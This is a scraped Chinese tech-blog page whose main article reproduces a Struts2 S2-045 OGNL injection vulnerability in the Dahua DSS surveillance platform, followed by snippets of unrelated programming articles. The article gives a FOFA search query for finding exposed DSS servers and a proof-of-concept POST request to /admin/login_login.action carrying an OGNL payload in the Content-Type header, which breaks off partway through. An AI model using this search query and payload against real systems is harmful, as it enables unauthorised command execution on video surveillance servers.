当前位置： 首页 > news >正文

大华DSS S2-045 OGNL表达式注入漏洞复现

news 2026/5/16 20:20:41

0x01 产品简介

 大华DSS安防监控系统平台是一款集视频、报警、存储、管理于一体的综合安防解决方案。该平台支持多种接入方式，包括网络视频、模拟视频、数字视频、IP电话、对讲机等。此外，该平台还支持多种报警方式，包括移动侦测、区域入侵、越线报警、人员聚集等。

0x02 漏洞概述

 大华DSS安防监控系统平台采用ApacheStruts2作为网站应用框架。由于应用程序框架存在远程命令执行漏洞，攻击者可以通过在上传文件时修改HTTP请求标头中的Content Type值来触发该漏洞，然后执行该漏洞。系统命令以获取服务器权限。

0x03 复现环境

FOFA：

body="/portal/include/script/dahuaDefined/headCommon.js?type=index" && title="DSS"

0x04 漏洞复现

PoC

POST /admin/login_login.action HTTP/1.1
Host: your-ip
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container

相关文章：

大华DSS S2-045 OGNL表达式注入漏洞复现

0x01 产品简介 大华DSS安防监控系统平台是一款集视频、报警、存储、管理于一体的综合安防解决方案。该平台支持多种接入方式，包括网络视频、模拟视频、数字视频、IP电话、对讲机等。此外，该平台还支持多种报警方式，包括移动侦测、区域入侵、越线报警、人员聚集等。 0x02 漏…...

编程日记 2023/12/8 23:52:40

大数据之HBase（二）

Master详细架构 位置：namenode实现类：HMaster组成 负载均衡器：通过meta了解region的分配，通过zk了解rs的启动情况，5分钟调控一次分配平衡元数据表管理器：管理自己的预写日志，如果宕机&#xff…...

编程日记 2023/12/8 23:51:39

前后端数据传输格式(下)

作者简介：大家好，我是smart哥，前中兴通讯、美团架构师，现某互联网公司CTO 联系qq：184480602，加我进群，大家一起学习，一起进步，一起对抗互联网寒冬 上篇主要复习了HTTP以及…...

编程日记 2023/12/8 23:50:38

mysql pxc高可用离线部署（三）

pxc学习流程 mysql pxc高可用 单主机 多主机部署（一） mysql pxc 高可用多主机离线部署（二） mysql pxc高可用离线部署（三） mysql pxc高可用 跨主机部署pxc 本文使用docker进行安装，主机间通过…...

编程日记 2023/12/8 23:49:37

XXL-JOB 日志表和日志文件自动清理

🚀 作者主页： 有来技术 🔥 开源项目： youlai-mall 🍃 vue3-element-admin 🍃 youlai-boot 🌺 仓库主页： Gitee 💫 Github 💫 GitCode 💖 欢迎点赞…...

编程日记 2023/12/8 23:47:36

常用sql记录

备份一张表 PostgreSQL CREATE TABLE new_table AS SELECT * FROM old_table;-- 下面这个比上面好，这个复制表结构时，会把默认值、约束、注释都复制 CREATE TABLE new_table (LIKE old_table INCLUDING ALL) WITHOUT OIDS; INSERT INTO new_table SELE…...

编程日记 2023/12/8 23:46:35

设备温度和振动综合监测：温振一体式传感器的优点和应用

随着工业设备的复杂性和自动化程度的提高，对设备状态监测的需求也日益增加。温振一体式传感器作为一种集振动和温度监测于一体的传感器，具备多项优势，因此在工业设备状态监测领域得到广泛应用。 温振一体式传感器基于振动传感器和温度传感器的…...

编程日记 2023/12/8 23:43:32

彻底解决ModuleNotFoundError: No module named ‘exceptions‘【Bug完美解决】

文章目录 项目场景：问题描述原因分析：解决方案：此Bug解决方案总结心得项目场景： 根据本文可找到bug原因并彻底解决**ModuleNotFoundError: No module named ‘exceptions‘**Bug 报错： E:\Anconda\python.exe c:\Users\24190\PycharmProjects\pythonProject4py尝试 gong…...

编程日记 2023/12/8 23:42:31

yarn和npm的区别

2023-12-8 yarn和npm的区别 是常用的包管理工具，用于node.js项目中安装、管理、和更新依赖项 有以下几个区别： 性能和速度：在包的安装和下载方面，yarn比npm更快速，yarn通过并行下载和缓存等优化策略，可以…...

编程日记 2023/12/8 23:41:30

设计图中时序图

设计图中的时序图通常用于展示两个或多个对象之间的交互和消息传递的顺序。它是一种用于描述软件或系统中的并发性和时序行为的工具。 以下是一个简单的时序图的示例： 首先，在时序图中创建两个对象，例如"对象A"和"对象B&quo…...

编程日记 2023/12/8 23:38:27

反射实现tomcat

获取类信息的方法 1.通过类对象 x.getClass() 2.通过class.forname方法 Class.forname(className);这里className是存储类名的字符串 3.通过类名.class 类名.class 通过类名创建对象 类名.newInstance（）； 反射可以看到类的一切信息&#xff1…...

编程日记 2023/12/8 23:37:26

Ubuntu 安装 CUDA 和 cuDNN 详细步骤

我的Linux系统背景： 系统和驱动都已安装。 系统是centos 8。查看自己操作系统的版本信息：cat /etc/issue或者是 cat /etc/lsb-release 用nvidia-smi可以看到显卡驱动和可支持的最高cuda版本，我的是12.2。驱动版本是535.129.03 首先&#…...

编程日记 2023/12/8 23:36:25

ArkTS快速入门

一、概述 ArkTS是鸿蒙生态的应用开发语言。它在保持TypeScript（简称TS）基本语法风格的基础上，对TS的动态类型特性施加更严格的约束，引入静态类型。同时，提供了声明式UI、状态管理等相应的能力，让开发者可以…...

编程日记 2023/12/8 23:35:24

HTTP不同场景下的通信过程和用户上网认证过程分析

目录 HTTP不同场景的通信过程 HTTP正常交互过程 HTTP透明加速传输过程 HTTP代理服务器场景下交互过程 通过AC对上网用户不同场景的认证过程 AC上网认证正常交互过程 通过Cookie实现免认证交互过程 代理服务器场景下HTTP密码认证交互过程 HTTP不同场景的通信过程 HTTP、…...

编程日记 2023/12/8 23:29:18

VR 实现 Splash Screen 效果

文章目录 背景官方实现逆向分析 背景 手机 App 在实现 Splash Screen 的时候，目前都有成熟的方案可以参考，但是在做 VR 开发时，要如何实现一个 App 自己的 Splash Screen ，下面是我们基于 PICO & OCULUS 进行业务开发时经过探…...

编程日记 2023/12/8 23:27:16

HarmonyOS学习--TypeScript语言学习（一）

注意：这只是我学习的笔记！！！ 注意：这只是我学习的笔记！！！ 注意：这只是我学习的笔记！！！ 本章目录如下： 一、TypeScript语言…...

编程日记 2023/12/8 23:25:14

【C语言】函数递归详解（一）

目录 1.什么是递归： 1.1递归的思想： 1.2递归的限制条件： 2.递归举例： 2.1举例1：求n的阶乘： 2.1.1 分析和代码实现： 2.1.2图示递归过程： 2.2举例2：顺序打印一个整数的…...

编程日记 2023/12/8 23:24:13

WT588F02B-8S语音芯片助力破壁机：智能声音播放提示IC引领健康生活新潮流

在追求健康饮食的时代潮流中，破壁机作为榨汁、搅拌的重要厨房电器，融入智能技术的趋势不断加强。唯创知音的WT588F02B-8S语音芯片作为声音播放提示IC，为破壁机注入了更智能、便捷的声音提示功能，引领用户迈入健康生活的新潮流。 …...

编程日记 2023/12/8 23:22:12

NXP iMX8M Plus Qt5 双屏显示

By Toradex胡珊逢 简介 双屏显示在显示设备中有着广泛的应用，可以面向不同群体展示特定内容。文章接下来将使用 Verdin iMX8M Plus 的 Arm 计算机模块演示如何方便地在 Toradex 的 Linux BSP 上实现在两个屏幕上显示独立的 Qt 应用。 硬件介绍 Verdin iMX8M Plu…...

编程日记 2023/12/8 23:21:11

RepidJson中Writer类、FilewriteStream类、 PrettyWriter类的区别

rapidjson是一个C的JSON解析库，可以用于解析和序列化JSON数据。 Writer是rapidjson中一种基本的输出流，用于将JSON数据输出到字符串或文件中。 FileWriteStream是一个Writer的子类，它专门用于将JSON数据输出到文件中。相比于普通的Writer&a…...

编程日记 2023/12/8 23:19:10

基于Docker与MCP协议构建AI智能体安全扩展工具箱

1. 项目概述：一个为AI应用量身打造的“服务管家”最近在折腾AI应用开发，特别是那些基于大语言模型（LLM）的智能体（Agent）时，我遇到了一个挺普遍但很棘手的问题：我的AI助手能力很强&am…...

编程新知 2026/5/16 20:07:04

告别水下照片的蓝绿色偏：手把手教你用OpenCV和Python实现图像增强与色彩还原

告别水下照片的蓝绿色偏：手把手教你用OpenCV和Python实现图像增强与色彩还原 每次从潜水旅行回来，看着相机里那些本该绚丽多彩的珊瑚礁照片变成一片蓝绿色，总是让人感到沮丧。水下摄影爱好者、海洋生物研究者或是从事水下工程的专业人士都面临…...

编程新知 2026/5/16 20:06:59

构筑城市“数字底座”！全要素数据标准建设

城市运行管理服务平台的核心竞争力在于其建立了统一、规范的城市运行管理服务数据库。依据《城市运行管理服务平台数据标准》（CJ/T545），我们的技术方案实现了对城市管理全要素的数字化映射。这不仅仅是简单的数据录入，而是构建了一…...

编程新知 2026/5/16 19:39:46

如何用GenshinPlayerQuery深度分析原神账号：3个维度掌握角色成长与战斗表现

如何用GenshinPlayerQuery深度分析原神账号：3个维度掌握角色成长与战斗表现 【免费下载链接】GenshinPlayerQuery 根据原神uid查询玩家信息(基础数据、角色&装备、深境螺旋战绩等) 项目地址: https://gitcode.com/gh_mirrors/ge/GenshinPlayerQuery 你是…...

编程新知 2026/5/16 19:21:25

Flutter项目构建提速：告别‘gradle assembleDebug’卡顿的实战配置指南

1. 为什么Flutter项目构建会卡在gradle assembleDebug？ 每次看到Android Studio卡在"Running Gradle task assembleDebug..."这个界面，我都忍不住想砸键盘。作为一个踩过无数坑的老Flutter开发者，我完全理解这种痛苦。其实这个问题…...

编程新知 2026/5/16 19:17:12

怎么判断铝合金熔炼炉价格才合理？

在选购铝合金熔炼炉时，价格只是一个参考。需要关注市场行情、熔炼炉厂家信誉、设备性能与售后服务等多方面因素。铝熔炼炉若性能更好，初期投入虽高，长期使用能提升产能并降低单位成本。不同类型的冶金熔炼炉各有特点，会影响选型与…...

编程新知 2026/5/16 18:23:20

宇视摄像机室外安装防腐说明

摄像机室外安装防腐说明一、开篇介绍防腐能力是户外摄像机长期稳定运行的关键。设备金属外壳一旦腐蚀，易引发起雾、进水、性能下降，严重时会导致整机损坏。宇视户外产品均按对应环境防护标准设计，可根据现场腐蚀等级选择适配产品。本文为工程…...

编程新知 2026/5/16 18:16:13

RobotStudio 仿真软件学习分享05——smart组件创建动态输送链、动态夹具与仿真运行

在工业机器人仿真工作站里，Smart 组件是实现无代码动态逻辑、自动输送、自动夹持、信号交互的核心工具。本次学习我们将从零搭建一套自动上料输送链 智能真空夹具 机器人码垛的完整仿真系统，把 “产品自动生成→输送→到位检测→机器人抓取→搬运码垛→…...

编程新知 2026/5/16 18:11:23

别再只会调PWM占空比了！用STM32F103实现直流电机精准调速，从硬件选型到PID参数整定全流程复盘

从PWM到PID：STM32F103直流电机精准调速实战指南 第一次用STM32驱动直流电机时，我天真地以为只要会调PWM占空比就能搞定一切。直到亲眼看到电机在空载时转速飘忽不定，带载后响应迟缓得像老牛拉车，才明白工业级控制远非改变几个寄存…...

编程新知 2026/5/16 16:14:40

Live Server深度解析：如何用实时重载技术提升前端开发效率300%

Live Server深度解析：如何用实时重载技术提升前端开发效率300% 【免费下载链接】vscode-live-server Launch a development local Server with live reload feature for static & dynamic pages. 项目地址: https://gitcode.com/gh_mirrors/vs/vscode-live-se…...

编程新知 2026/5/16 15:42:39